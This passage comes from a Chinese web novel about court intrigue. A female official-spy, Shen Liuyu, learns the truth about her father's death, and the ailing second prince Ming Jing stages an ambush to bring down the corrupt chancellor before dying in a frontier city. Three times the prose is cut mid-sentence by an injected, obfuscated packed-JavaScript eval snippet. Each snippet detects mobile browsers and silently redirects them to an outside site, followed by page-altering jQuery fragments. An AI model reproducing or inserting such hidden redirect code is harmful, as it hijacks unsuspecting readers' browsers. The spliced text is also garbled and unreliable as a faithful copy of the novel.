见她如此,炎庚唇边那点笑淡了下去,叹了口气,“我早就说过,在辛夷城,我是最不可能伤害你的人,你什么时候才能相信?” “我信。”这次她很快就回应了,“可就算是知己,遇事也应该说清楚,否则只会损伤情谊。” 她望着他,神情中没有半点玩笑的意思,炎庚脑海里突然冒出一个念头:谁说圣女不懂情感的?只怕越是不懂的人,对此就越认真。 “你说得也有理。” 他妥协了,“放心吧,我不会在长公子面前多说什么的。” 夕阳西下,一场骤雨打破了黄昏的静默,淅淅沥沥地落满了整座辛夷城。两人并肩走过长廊,雨丝沿着廊檐滴下来。 “你父亲死的前一天,长公子曾去牢狱里见过他。”炎庚道。 流玉脚下停了。 她面露怔色,半晌才找回自己的声音:“……什么?” 这几年,炎庚看着她如履薄冰,永远像一根紧绷的弦,不敢有半分懈怠,她活得太累,总要有喘息的机会。 所以,他决意向她坦白。 “长公子想救他,但沈侍郎知道自己已经深陷必死之局,所以设法传讯,不许长公子卷进来。” 炎庚继续说道,“从头至尾,沈侍郎只托付了一件事,就是要长公子发誓担保,永远护一个人周全。” 必死之局。 辛夷城就这么大,谁能让他陷入必死之局? 流玉有所猜测,心中有一个名字呼之欲出,但没有点明。 自从开始了这个话题,她的反应就变得有点迟钝,炎庚每说一句话她都要一个字一个字地捋,生怕错过一星半点有关亡父的事,直到炎庚说完片刻,她才慢半拍地跟上了最后一句。 护一人周全? 几乎在意识到的立刻,流玉便抬起了头,炎庚也正望着她,说出了那个答案。 “你。” 刹那间,明明是已经猜到的答案,流玉的心还是颤抖了起来,身处刮风带雨的阴天,她却好像坐在烧热的炭炉前一般,眼眶被熏得又热又酸。 她自幼少泪,从小到大几乎都没有哭过,人人都说她坚强、心硬,久而久之,就连她自己也接受了这个像是天生就安排好的“设定”。 一路至今,她将一切悲喜都压在心底,努力让自己看起来顽强又冷静,可当忍不住红了眼的时候,所感受到的悲怆却是剜心彻骨,让她痛不欲生。 “当时你险些没入奴籍,长公子也在想办法救你,原本是万无一失的法子,只是没想到被二公子捷足先登了,也正因如此,长公子一直对你心怀有愧。” 炎庚观察着她的神色,将自己知道的事徐徐道来,深邃的眉眼被雨雾软化了棱角,变得柔和,“我说这些的意思是,你在他面前不必那么小心翼翼,他重用你都来不及,怎会猜忌你。” 流玉的记忆飘回过去,她想起自己刚进长公子府邸的时候,就被安排住进了前院最宽敞的院子,是她主动请求更换,又再三坚持,长公子才无奈顺了她的意。 面对理想抱负,谋士需要机会,长公子无疑为她提供了一片广阔的天空,进入仕途后的数年里,她身为下属,也从未受到过任何约束或打压,因此才得以锋芒毕露,一路平步青云。 议事时畅所欲言,空暇时闲聊侃谈,危难时施展庇护…… 流玉这才后知后觉发现,长公子待她不似臣子,更像信任的友人,亲近的伙伴,仿佛君臣之间不分彼此、无论尊卑,本就该是如此理想的模样。 “多谢你告诉我。” 流玉对炎庚道,原本摇摆不定的心也在这一刻落到原处——这种从属二主的日子,她不能再继续下去了。 筵席终有离散之时。 …… 当晚,二公子府邸传来消息,明璟病情恶化,性命垂危。 沈流玉惊闻噩耗,赶到时连脚步都是虚浮的。一进院子,管家刚从卧房中出来,她一把把人拉住,急声询问,却见管家眼神躲闪,飘忽到她身后某处。 流玉进来时没察觉,现在回头一扫,蓦地在花圃中发现了一个身影。 明璟坐在轮椅上,一身青灰色恰到好处地融入了黑暗,正好整以暇看着她。 “沈少卿,你又来看我了?” 他弯起唇角,计谋一得逞,病容都多了一丝红润。 流玉愣了两秒,先是迷茫,再是难以置信,随后便明白了过来。他哪里有事,分明是故意引她来的,如此……不择手段。 难怪她得知的时候,长公子的院落依然十分静谧,敢情所谓的“病危”根本就是个假消息,收到的只有她一个人。 她被耍了。 流玉的脸色立马冷了下去,可一想到早间是自己误会他在先,又一时情急地顶撞了他,这火气便发不出来了。 她暗暗吸了一口气,保持着平静,“公子要引我过来,就非得用如此不知轻重的借口吗?” 她的语气比平时重了许多,夹杂着一种模糊的感情,比浅而易见的愤怒更多,明璟原本能抓住,却在将要抓住的瞬间怯懦地退缩了一下。 笑意僵在了他的脸上,明璟抿了下唇,居然有些紧张。 他当然知道自己做法欠妥,只想着早先两人的争执尚未有个定论,要先把沈流玉“骗”过来,没想到如今一见,她会是这样的反应。 他忽然有些茫然,话语还没来得及过脑子,嘴上已经干巴巴地说出来:“你别拉着脸了,我下次换一……” 自小孤僻冷漠的二公子哪里说过这种低声下气的话?明璟反应了过来,可说出去的话泼出去的水,还怎么收回? 纵使万般不自在,他也只有自己受着的份。 流玉:“……” 虽然他没说完,但流玉听懂了,噎了一下,实不知二公子在想些什么。 她脸色变得有些古怪,难得没有出声回呛,在廊下踱了两步,默默坐在了轮椅对面的台阶上。 漏夜,阴云掩住了月亮,一场急雨洗刷了八月里的暑热,难得凉爽。 明璟这几日喝了数不清的药,仍不见病情好转,今日醒的时间多了一些,不肯继续卧床歇息,直说房中闷得他心慌,于是裹了件厚衣,执意要出来透气。 虫鸣阵阵,两人坐在院子里,流玉道:“近来长公子专心筹备城防军改制的事,没有对你的地盘过多关注,也没有什么特殊的动向。” 明璟莫名地瞅她一眼,随口一句“好端端的说这些做什么”到了嘴边,唇齿却在倏忽间僵住了。 是他病太久,变得健忘了么?如果不是沈流玉今日提起,他几乎都要忘了,她还是他的卧底。 流玉没有发现他的异色,回忆过往几年长公子的一言一行,她不相信自己效忠的主上会是个表里不一、虚伪狠辣的人。 “其实长公子一直很关心你,当初矿运司的事,必定是个误会。”她说。 明璟不知在想什么,望着天边层云,清癯的轮廓一半清晰,一半隐在夜里。 流玉看着他,心神也跟着晃了晃。 他一身病骨,不得不参与辛夷城的明争暗斗,可最初令他心生芥蒂的那件事,或许只是长公子的无心之失。毕竟事无绝对,长公子治下官员众多,总有疏漏之处——再温和的海浪,也有可能被疾风吹上滩涂,在涨潮时打湿离岸的沙石。 对此,明璟似乎不愿听太多,只是胡乱点了点头,“嗯”了一声,也不知有没有敷衍、听进去了多少。 应该还是听进去了吧,流玉想。他虽有心结,一直以来却只是让她监视长公子,没有让她做过任何对长公子不利的事。 如果他真像嘴上说的那样心狠,大可不顾兄弟情义,先下手为强,而不是像现在一样,嘴上硬气,其实根本没做过几件坏事。 纸老虎。 雨后,石板地上水迹未干,一阵和缓的风穿堂而过,明明不大,却吹得明璟的衣袍猎猎,仿佛要把他也一起吹走。 他午后才退热不久,合该早些回房歇息,但还是强撑着精神,固执地不肯暴露脆弱。管家送了大氅来,流玉走下台阶,接过,披在他肩上。 厚实的大氅隔绝了最后一丝寒凉,她微微弯下腰,替他系系带。 望着她近在咫尺的面庞,明璟放轻了呼吸,说:“那些名册是父亲送来的,我没看,全撕了扔出去了。” 他也不知道为什么要突然说这些,只是觉得有的事情,不能任由她随便误会。 流玉听后,眼睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369765|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍稍颤了一下,旋即若无其事,继续对付眼前的系带。 “城主想为公子冲喜,公子为何不愿?”她问。 明璟垂了垂眼,不忘搭了把手,将缠住的系带理顺,“这种荒谬的办法,不仅救不了我,还要毁了一个无辜女子的一生,有什么意思。” 他今日没束发,流玉系好了,看见头发和打成结的绸带卷在了一起,又替他解出来。 明璟任她施为,凝视着眼前人专注的眉眼,在她将要撤开时伸出手,轻轻捉住。 流玉停在了原地。 皮肤相触,他的指尖贴着她手心,有点凉,她能感受到脉搏的跳动,分不清是自己还是他的。 仲夏夜,风休止,他没松手,她也没挣开。 明璟笑了,如往常那样刻薄道:“你少气我几次,也许我还能活得久一点。” “我何时气过公子。”流玉望他一眼,低低回。 她抽出手,走到轮椅旁的花藤间,坐在木秋千上,明璟下意识摩挲了一下手指,掌中又变得空空荡荡。 院中无人,两人并肩而坐,一个用轮椅,一个用秋千,中间不过隔着条藤蔓缠绕的秋千架。 虽然受病痛折磨,但此时明璟的心境十分安定,喉咙里涌起咳嗽的痒意,也被他压了回去。 他缓缓吐了口气,听见自己的声音:“沈流玉,你走吧。” “去哪儿?”流玉有一搭没一搭地晃着秋千。 “去你想去的地方。”明璟道,“我放了杨柳,以后,你就不是我的细作了。” 他的口吻稀松平常,从前生怕她脱离自己的控制,如今三言两语,就这么轻易地给了她自由。 好半晌,流玉都没有回应。事实上,连她自己都不知道自己想要什么了,明明白天还想着不能从属二主,要早日找他说清楚,现在他主动提出来要解除合作,免了自己开口,但她一点都不欢喜。 沈流玉为官数载,一直自诩果断坚定,现在却变得优柔寡断,心像被两根丝线拴住,来回无序地拉扯着。 如果世间有神医,最好能分割成两半,这样,贪心的人就再也不用为难了。 流玉这般想着,没有动,只“哦”了一声,听不出喜怒,说拒绝不果断,说答应不干脆。 她头靠在手握处的秋千藤上,给了他一个算不上回应的回应,“我现在就想在这儿,这个秋千很宽敞。” 明璟看不见她的神色,问:“你来过那么多次,之前怎么不坐?” “之前不敢。” 她的声音传进耳朵,轻描淡写的四个字,似乎很坦诚。 明璟失笑,心道:骗人。 阴雨彻底过去,约莫过了一刻钟的功夫,月亮从云雾中探出了头。 明璟仰头望月,心情也跟着晴朗了几分,随口说了什么,但久久都没有听见沈流玉回答。 他侧头一瞧,从藤蔓的缝隙里看见了她低垂着的睫羽,眼下泛着淡淡的青黑色。 宵旰忧劳的沈少卿,居然在秋千上睡着了。 一切都显得那么安静。明璟的眼睛弯了一下,隔着几根秋千藤瞧她,如水中窥月,又给了人一种奇异的安全感,从以前的不敢直视,变成了明目张胆的端详。 时间缓缓流淌,明璟手撑着头,怔神之际,有道光影从花圃间旁逸斜出,在他余光中舒展开。 一抹玉白,似乎还泛着莹蓝色,细细弯弯的,垂在秋千藤旁边,落到流玉眼尾。 是朵昙花。 他本该粉身碎骨,偏又看见了花。 …… 天色将明时,流玉回到了长公子府邸,带着一身晨露。 她如常更衣、上朝议事,恰逢城主下了新令,又忙得脚不沾地,过了大半日才总算得了闲暇,回到自己的院子小歇。 片刻,侍女过来传膳,目光落到流玉头上,笑问:“大人头上戴的是什么?好生漂亮,昨日好像还没见过呢。” 她一愣,手在头上摸了摸,居然真的摸到一块硬物,对镜自照,发现平时的银冠玉坠旁多了一根簪子,昙花伴云的纹样,雕得栩栩如生。 流玉一下子就想到了自己在秋千上睡着的时候。她拔下簪子,指腹轻轻抚过细腻的纹路,剔透的簪身触手温润。 不是木头,比起玉石,更像是某种动物的角。 鹿角。 她将簪子握在手心,恍惚间如有感应,竟无缘无故生出了一种熟悉的感觉。 47. 辛夷有泪(十) 九月,辛夷城天气晴好,碍于人多眼杂,沈流玉去看望明璟的次数少了些,但两人时常传信,多是三言两语、寥寥几字。 只要能起到一个报平安的作用,那叠信纸就算死得其所了。 这天,长公子书房商议政事,话毕,其他臣子皆退下,流玉却被留住了。 房门关上,明珲问:“意昭可还好吗?” 流玉原本还在想朝堂的事,听后心下一咯噔,距离她上次“奉命”前往二公子府邸看望明璟,分明已经过去了半个月。 长公子神情温和,不见半分异常,流玉掩下心思,镇定回答:“上次公子派我前去探望,二公子退了热,喝药不会再吐了。” 明珲笑起来,“我问的不是这个。” 流玉愣了愣,脑中登时一片空白,有一个不祥的预感呼之欲出,“公子,你……” “流玉,你冰雪聪明,唯一的疏漏就是低估了我手下侍卫的敏锐。” 明珲站起身,终于将这层窗户纸捅破,“我知道你常去和意昭见面,也知道你为他做事……哎,跪什么?起来。” 流玉的心彻底沉了下去,想下跪请罪,又被一把扶住。看长公子的脸色,虽然揭穿了她,但看上去不气不恼,仿佛并无追究之意…… 不管他平日如何宽和,又岂会原宥一个细作? “万事皆是臣一人之过,与二公子无关,求公子降罪。” 事已至此,流玉无心、也不敢再遮掩,还以为这是长公子对自己的试探,后者语气无奈,“我什么时候说要发落你?你是辛夷城的功臣。” 流玉抬起头,微微怔忡。 明珲没有兴师问罪的意思,还带着几分替弟赔礼的歉意,“先生死后,你怕是对辛夷城失望透顶,之所以主动投入我麾下,肯定是受了意昭的要挟,他防备心重,最初为难你了吧?” 为难,要挟…… 流玉的记忆不由自主飘回了往昔,的确,那时候他何其恶劣,逼她上贼船,她也狠狠咬了他一口,作为他傲慢无礼的代价。 “公子既然知道我的来历,为何不除掉我,反而还重用我?就因为我父亲吗?”流玉声音艰涩。 明珲摇头,坦诚道:“的确有你父亲的原因,但我扶持你上朝堂,自然不止是因此。我岂能眼睁睁看着你的才能被埋没?就算意昭没有安排你来,我也会去要你的。” 士为知己者死。 流玉瞳眸微颤,“公子不怕我对你不利吗?” “你会吗?” 明珲对她的答案深信不疑,甚至没有等她出声,径自道:“我看着意昭长大,他虽然生性孤僻,其实心地纯善,在政事上顶多耍些小脾气,绝不会指使你对我下手,当然,你也不会。” 提起幼弟,明珲眼露温情,又含着对他身体的忧愁,“华夫人去得早,他病痛缠身,整夜整夜睡不好,如果你传回的消息能让他睡个安稳觉,我这个做兄长的何乐而不为呢?” 本是血浓于水的亲生手足,却因隔阂而无法靠近,只有遥遥相望。 长公子用心良苦,即使流玉作为旁观者,此时也不免被触动。她了解长公子的脾性,性子敦和,待谁都厚道,实际上心里有一杆秤,绝不是能被轻易愚弄过去的人。 既然如此…… 见流玉欲言又止,明珲道:“我知道你想问什么,是不是当年矿运使换人的事?” 他心知明璟的心结因何而深,叹了口气,回忆道:“那批铁矿石被劫走后,父亲罢免了李营的官职,原本不想让高稷继任,是何休一力举荐,才让父亲改变了主意。” 李营是明璟的人,高稷则是长公子府邸出来的属官。矿运司独立于各部,本不在丞相的管辖范围之内,为何何休要出来趟这趟浑水? 流玉倒不怀疑长公子所说的真实性,但还是一头雾水,“公子怎么不向二公子解释?” 明珲叹了口气,“当时商议矿运使任免一事,在场的只有父亲、我、何休三人,高稷又是我的亲信,他素日与何休毫无干系……就算我说了,以意昭的性情,只怕会觉得是我转移矛盾,把罪名往丞相身上推。” 流玉哑然。 的确,因为这一层关系在,没人会相信推高稷上位的人是何休,包括明璟。 插手矿运事务,被迫卷进手足之争,这一遭过去,长公子看似受益,实际上是哑巴吃黄连,有苦说不出。 当年矿运司官员变更,祸起于铁矿遭劫,流玉:“辛夷城每年都向外城运输铁矿,为何那一年就出了事,无缘无故被土匪劫走了?” 明珲望着她,眼含深意,“流玉,以你的聪慧,会看不出其中关窍?” 城外那些匪寨虽然不安分,但忌惮辛夷城的兵力,一直盘踞在山上,他们犯不着得罪辛夷城,八成是有人指使,以更大的利益诱惑。 前脚劫去铁矿,后脚引荐官员,致使兄弟离心,除非…… 除非,这是何休故意做的局。 两人对视,在对方的神色中确认了心里那个答案。明珲道:“我也是如此猜测的,但没能发现证据。” 何休城府深重,手下的势力盘根错节,他做事不留痕迹,又极得城主信任,在朝中的地位举足轻重。 找不出罪名,想动他太难。 “公子,慢慢来吧,我们都等得起。”流玉目光沉静,却十分坚定。 慢慢来。 再完美的伪装,也总有露出马脚的时候,她会一直挖,直到挖出何休身上的漏洞,还有父亲枉死的真相。 …… 天气渐寒,又是一年秋冬季节,明璟的病情没有出现好转,起初还能到走廊上坐一坐,后来连床榻都不下了。 眼下不过秋日,二公子府邸已经烧起了炭火。他连起身的力气都没有多少,更不用说如往年一样上温泉山越冬避寒,唯有依靠一点人为制造的温暖续命。 喝过药后,明璟就睡着了。 他看不见刻漏,不知睡了多久,迷迷糊糊睁开眼,看见沈流玉坐在床榻边,也不知坐了多久。 “什么时候来的?” “半个时辰前。” 这次的药有效果,明璟感觉好些了,被扶着坐起来,抬眼看见她发髻间有一抹透白色,是那支鹿角做成的昙花簪子。 他眸子弯了一下,声音还哑着,“我原本还担心这簪子与你的官服不相配,现在看起来还不错。” 流玉:“哪里来的?我问了杨柳,她说不像外面卖的款式。” 鹿角珍贵,而且这支簪子的用料还不是普通鹿角,只怕他是拿了从外城得来的珍稀贡品,就磨了这么一支簪子。 明璟出了汗,将蒙在身上的被子拉开了些许,笑说:“神仙送来的吧……我在梦里雕的,醒来便放在床头了。” 流玉横了他一眼,明显听得出他在胡诌,又不好和病患一般见识。 自从病倒后,明璟常常睡着,每次醒来看见她都是如此,不知在梦中攒了多少要说的话,而且不管是信口玩笑还是真心之语,他都照说不误。 流玉原本是个寡言的人,这下也不得不配合着他,听一句应一句。 房中烧着炭,温暖得像春天一般,流玉低头倒茶,下巴比从前尖了一圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376383|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明璟看了一会儿,说:“你怎么也瘦了?看来明珲待你不好。” 要是在从前,流玉都会答应一声,起码不至于让他的话掉在地上,这次却沉默了,她提着茶壶,倒了一半的热茶断在了壶口。 良久,她抬眼望他,“那你让我回来。” 半真半假,语含试探。 他喜欢这样说话,那她也这样回应好了。 明璟仿佛僵了一瞬,继而又笑了,“回来困在这小院子里?你要恨我了。” 流玉不说话了。 她喉咙干涩,把茶盏撂在一边,倒了杯凉水一口气喝完,这才觉得好些。 明璟低着头,不知在想什么,脸色越发苍白了。 流玉望着他,问:“难受吗?” “什么?”他没听清。 流玉又重复:“你难不难受?” 明璟怔了几瞬,不痛不痒地移开眼,“早就习惯了……咳咳——” 话没说完,便被喉间一阵突如其来的痒意打断,他匆匆用手帕捂住嘴,血点溅到手腕的紫檀珠上,染成了黑红色。 趁着血迹还没有凝固,流玉拿过一旁的布帕,帮他清理干净了,动作间一瞥,才发现他的血不知何时沾在了自己手背上。 她盯着那处,一只手忽然闯进了她的视线,冰凉的指腹覆上鲜红,轻轻揩去,又将这滴血“要”了回去。 流玉抓住他手,用干净的布巾包住,擦净,之后也没松开。 侍从们闻声而来,递上漱口的瓷盂和热茶,伺候完又退下去。 隔着一层布巾,流玉感受到了他的温度,他手指那么凉,掌心却在发烫。 流玉倾身上前,额头贴上他的额头,像滚热的沸水。 “又发热了。”她说。 明璟笑了,闭上发沉的眼皮,“是啊,那怎么办?” 怎么办呢? 流玉也想不到办法,学着他闭上眼。 她没有立即退开,感受着他的一呼一吸,像数九寒天里窗外沉重的风声;听见他微弱的心跳,终于在自己的倒行逆施下响亮了几分。 短暂的宁静过后,倒海翻江的混乱再度席卷而来,明璟推开了她,紧接着剧烈地咳起来。 这一次,他的反应明显比刚才强烈了太多,血渗透了布料,几乎是从他口中涌出来的,将入眼的一切都染成了猩红的颜色,刺痛了沈流玉的眼睛。 她被猛地推了一把,向后退了好几步,只有眼睁睁看着府医和侍从拥上前,擦血、号脉…… 明璟早已昏过去,对之后发生的一切都不知道了。 …… 再次醒来,外面天已经黑了,屋内点起了烛盏,沈流玉还在。 明璟眼前还是模糊的,只能看清她的轮廓,被烛火映了半圈金色。 “你走吧。”他轻道。 流玉不理他。 他也不生气,继续说:“以后就别回来了,免得他怀疑你……好好跟着他做事,他会给你好前程的。” 流玉坐在桌边,久久没有出声,半晌,终是答应了,“好。” 她声音不知何时沙哑了,站起身,又坐回到床榻边,“你睡吧。” 明璟点了头。 他病入膏肓,不知道还有几天可活了,但这个消息没有传出去,他威胁了府医,对外只说是“遇上了伤寒”,寒气与体内的毒素对冲。 连自己都留不住的人,怎么留她。 明璟胡乱想着,意识朦胧间,有一股温热覆上了他的眉心,抚平了一切不安和隐痛。 他渐渐睡熟,连她的声音都听不见了。 48. 辛夷有泪(十一) 是夜,沈流玉回到府邸,将上次长公子说过的话悉数表于纸上,传回二公子府邸,告诉明璟:当年矿运司的事并非长公子蓄意为之,而是有人从中所梗。 这是流玉以“细作”身份,向他传递的最后的一封情报,无论信与不信,既然知道了内情,总要知会他。 另一边,等到明璟拖着病体看完信,已经是三日后的事了。他强撑着烧了信纸,靠在榻上,意识昏昏沉沉。 他不畏惧死,但在这之前,他还有事想做。 …… 冬日,辛夷城下了好大的雪,纷纷扬扬的雪花里,老城主退位,禅让于长公子明珲。 至此,朝堂上下更新换代,炎庚掌控了城防军,沈流玉则列于文臣次首。 她一步步爬上来,用自己的脚步,亲自丈量先人走过的足迹,继亡父之后,又一次成为了辛夷城的“沈大人”。 新城主继任后,城中大小事务繁多,流玉日日巡城,督建赡养老病之人的养济院。 不少富庶之家募捐善款,其中,二公子府邸捐钱捐物,让养济院修建的速度加快了一倍不止。 流玉看过账本,再捐几次,他府库里的积蓄就要耗尽了。 人不为己,天诛地灭,什么人会散尽家财,一点后路都不为自己留?答案不必多言。 “传令下去,养济院的物资已经筹够,即日起不再接受募捐,若有人钱多得没处花,就直接送去城防营和兵械库,为我城加固军事防御。” 流玉心烦意乱,将账本摔到桌案上,手下听后忙应了一声,下去吩咐了。 …… 这年,明璟是在病榻上度过的年关,别人有酒有肉,他喝米糊稀粥,虽然不沾荤腥,但至少能吃下东西。 伤病之人最怕冬天,只要熬了过去,春夏季节定会越来越好。 人人都松了口气,只盼着二公子这次能转危为安,却没想到他挺着一具弱不胜衣的病体,依然能将这座城搅得地覆天翻。 正月十五,明璟在府上设宴,没邀请其他人,唯独向何休下了拜帖。 消息传到外面,众人心中打鼓,皆说二公子病得疯魔了,公然拉拢丞相,这不是对城主赤裸裸的挑衅吗? 当晚,何休如期而至,他顶着外界的目光赴宴,许是也想看看这二公子葫芦里卖的什么药。 府上歌舞不歇,明璟强撑着露面,病歪歪坐在主位上。 何休目光锐利,道:“今日公子叫我前来,到底是为了何事啊?” 明璟费力掀起眼皮,“为了杀你。” 房门轰地一声破开,刀剑齐鸣,震碎了酒杯。何休身后,小厮装束的侍从倏然从腰间抽出匕首,与冲进来的守卫打了起来。 “杀——” 身穿银甲的将士涌入府邸,高擎着火把,何休的私兵也接收到信号,两方人马迅速碰撞到了一起,血气与寒光交织,满地雪沫横飞。 谁也没想到明璟会大胆至此,堂而皇之地在自己为东道主的宴席上大动干戈,像一个不计代价的疯子。 何休喘着粗气,厉声道:“二公子,老夫与你无怨无仇,何至于此!” 无怨无仇? 明璟呼吸沉重,模模糊糊地想:我与你的仇怨多了。 冷风呼啸,前来“护卫”二公子的士兵肩上刻有云纹,是属于城防营的徽记,厮杀之际,一个玄衣将军悄然出现在了府门下。 火把照亮了炎庚的眼睛,他望着眼前的惨烈场面,目光复杂。 七日前,明璟秘密联络他,以“合作”为名,说动他调动了城防军,在这之前,他没有想到,明璟会为辛夷城送上这样一份“大礼”。 面对训练有素的军力,丞相府豢养的私兵远远不成气候,一个接一个地倒下,何休起初还算从容,后来逐渐变得孤立无援,走向绝境。 他怒喝一声,从侍卫腰间拔出匕首,直直向明璟冲去! “扑哧”一声闷响,何休的腹部被身后围上来的守卫贯穿,明璟没被伤到,那人的鲜血陡然迸射出来,喷了他一脸。 漫天飞雪,血被白霜覆盖,一切归于沉寂。 城主突闻变故,派人前来查看情况,属官一进门就看见满地狼藉,被惊得说不出话。 何休躺在血泊里,晕了过去,但还没死。 属官放下丞相,腿软着进内室见二公子。明璟坐在主位上没动,妖异的鲜红色横亘了他的面庞,又顺着脸颊淌下来。 “何休埋伏私兵,妄图行刺,若非我及时召来城防军自保,恐已葬身在他的刀下。” 他声音嘶哑,说出的话字字清晰,“丞相残害忠良、贪赃枉法,有不轨之心。我以辛夷城二公子的名义状告此人,请城主彻查。” 惨白衬着血红,他涣散的瞳眸被月光一照,竟然如烛火般发亮。 …… 丞相行刺二公子不成反被捕,这一消息甫一传出,就如长了翅膀般飞遍了全城。 一时间,何休下狱,何府被封,明璟则受惊,又一次陷入了长久的昏迷。 事情传到流玉耳中,她手一抖,滚烫的茶水被打翻,洒得满地都是。 昆仑失火,玉石俱焚。 朝中的争斗明枪暗箭,向来让人防不胜防,明璟却用如此直接、也如此惨烈的方式,自导自演,以蓄意行刺之名,直接将何休摁死在了“有罪之臣”这一身份上。 欲加之罪,何患无辞——用恶人的方式惩治恶人,哪怕让自己也成为恶人。 既然是罪臣,自然逃不过罢官、抄家。事发后,明珲迅速反应过来,以迅雷不及掩耳之势派遣官员,清查何氏一族。 三天三夜,偌大的何府被翻了个底朝天,账本、密报,甚至与外城匪寨来往的文书,全部得见天光。 贪污受贿、鬻官卖爵、里通外城…… 丞相何休在位多年,身上的罪名多不胜数,罄竹难书。 其中,一叠几年前的信件藏在卧榻暗格之下,也在搜查中被找了出来。 至此,贪墨案真相大白,前左侍郎沈胥得以沉冤昭雪。 三月初,何休数罪并罚,被安排在西城门行刑。沈流玉亲自监斩,铡刀落下的那一刻,她感到前所未有的轻松,心也在恒久的彷徨中结束漂泊,落回了最初的原点。 处刑结束后,流玉在人群中看见了一个人,是明璟府上的小厮。 她走下行刑台,问:“他在哪?” 小厮就是来向她传话的,答道:“城里不安定,何氏余党尚未清除干净,只怕都等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380533|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着找公子寻仇呢,城主担心出意外,昨夜秘密派了守卫来,接公子去外城暂避了。” 明珲的担忧是对的,毕竟昨日她还发现了一个混在自己书房里的刺客。 “何时回来?”流玉问。 小厮低头回答:“这……应该要看公子的身体如何了。” 流玉已经想不起上次见他是什么时候了,只记得过了许久,长公子继位时他也没有到场,如今一走,更不知什么时候才会归来。 “知道了。”她道。 一阵不安始终盘旋在流玉心头,经久不散,她没有表露出来,让小厮退下了。 …… 在外交上,辛夷城奉行温和的策略,因此交好的城池不在少数,在一众临近的城池中,明璟选择了去塞外,凉城。 越过一道横在山川上的高耸城墙,明璟进入城中,呈现在他眼前的俨然换了一种风景,苍凉、辽阔,千里不闻喧闹声。 他走进一碧万顷,发现了一朵坚韧不败的花。 但他没有摘下来,只是欣赏了片刻,就自己离开了。 明璟在凉城住了下来,一个月过去,草原上的绿草比来时更加茂盛,而他却瘦得脱了相。每每念叨起来,管家总是将这归咎于这里的环境,其实真实原因如何,他心里如明镜一般。 哪里是什么“不适应、不习惯”,分明是他大限将至了。 四月里,塞外天气晴朗。明璟已经卧床多日,今日午后喝过药,难得来了精神,让管家推着他出门。 院子外面就是草原,草长得高过了膝盖,广袤无垠。 明璟置身其中,想伸手摸一摸近在咫尺的青草,可紫檀珠松松垮垮地套在他手腕上,一垂手险些掉下去。 他只有收回手,退而求其次地吸了吸气,闻见一片泥土香。 白云蓝天,远处传来牛羊的叫声。 明璟靠在轮椅上,身旁是徐徐拂过的微风,沈流玉不知从哪里冒了出来,又拿了片叶子,坐在他对面吹小调,吹得还是那首《报春歌》——他早都学会了。 除了这首,明璟怀疑她也不会吹别的了。 草长莺飞,鸟雀啁啾,轻快悠扬的调子在他耳畔久久回响,那人却在他眼前缓缓消散,最后无影无踪了。 明璟也拽了一段身边的草叶,贴近唇边,可吹小调需要平稳的气息,他早已没了力气,吹了两句曲不成调,只有就此作罢。 他咳了很久,身体越发疲倦,半梦半醒之间,好像有一朵云把他托了起来,说要带他离开,去一个远离一切忧愁的地方,做逍遥神仙去,他不肯,说不行啊,我走了,沈流玉呢?她又不会和我一起走。 ——她在辛夷城的命数还未尽,待一切事了,自然会上来找你的。 云回答说。 这下明璟安心了,任由云带着他漂浮。风吹乱了额发,他合着眼,双唇细微地翕动着,没有发出声音。 沈、流、玉。 雾气缭绕,明璟的眉间隐有金痕闪动,病痛交加的身体逐渐没了知觉,变得越来越轻,越来越轻…… 草叶掉进土壤,他手上的紫檀珠垂落了。 未尽的话凝在心口,化作一声悠长的叹息,随风而散。 ——愿你所愿得偿。 49. 辛夷有泪(十二) 辛夷城。 翌日,沈流玉从城主处归来,回到书房,正与炎庚等一众官员商量要事。 事了后,众人皆散,炎庚则留了留,在她这里喝了杯茶。 城中对何党的清算持续了月余,经历了反扑、镇压,最终在大刀阔斧的围剿中落下了帷幕。 辛夷城大患已除,今后除旧布新,定然是一片坦途。 须臾,外面急匆匆地进来一侍卫,炎庚问:“何事?” 侍卫面有悲色,低头回禀:“外城传回消息,二公子病情突然恶化,气血耗竭,昨日在凉城薨逝了……” 炎庚一震,回头看向流玉,却见她面色无波,一动未动。 “遗体现在何处?” “还在凉城,约莫两日就能运回来,城主已经吩咐准备丧仪了。” 炎庚几句问完,沈流玉依然在伏案写字,也没有任何反应。 他唤了一声,可她还是那样,仿佛什么都没听见。 望着她淡然的侧脸,炎庚的心沉了下去。 他先让侍卫退下了,自己走到桌案前,又叫她名字:“沈流玉。” 流玉独自坐在桌案后,这时才听见他的声音,抬起头。 “你听见方才侍卫说的话了吗?”炎庚声音发紧。 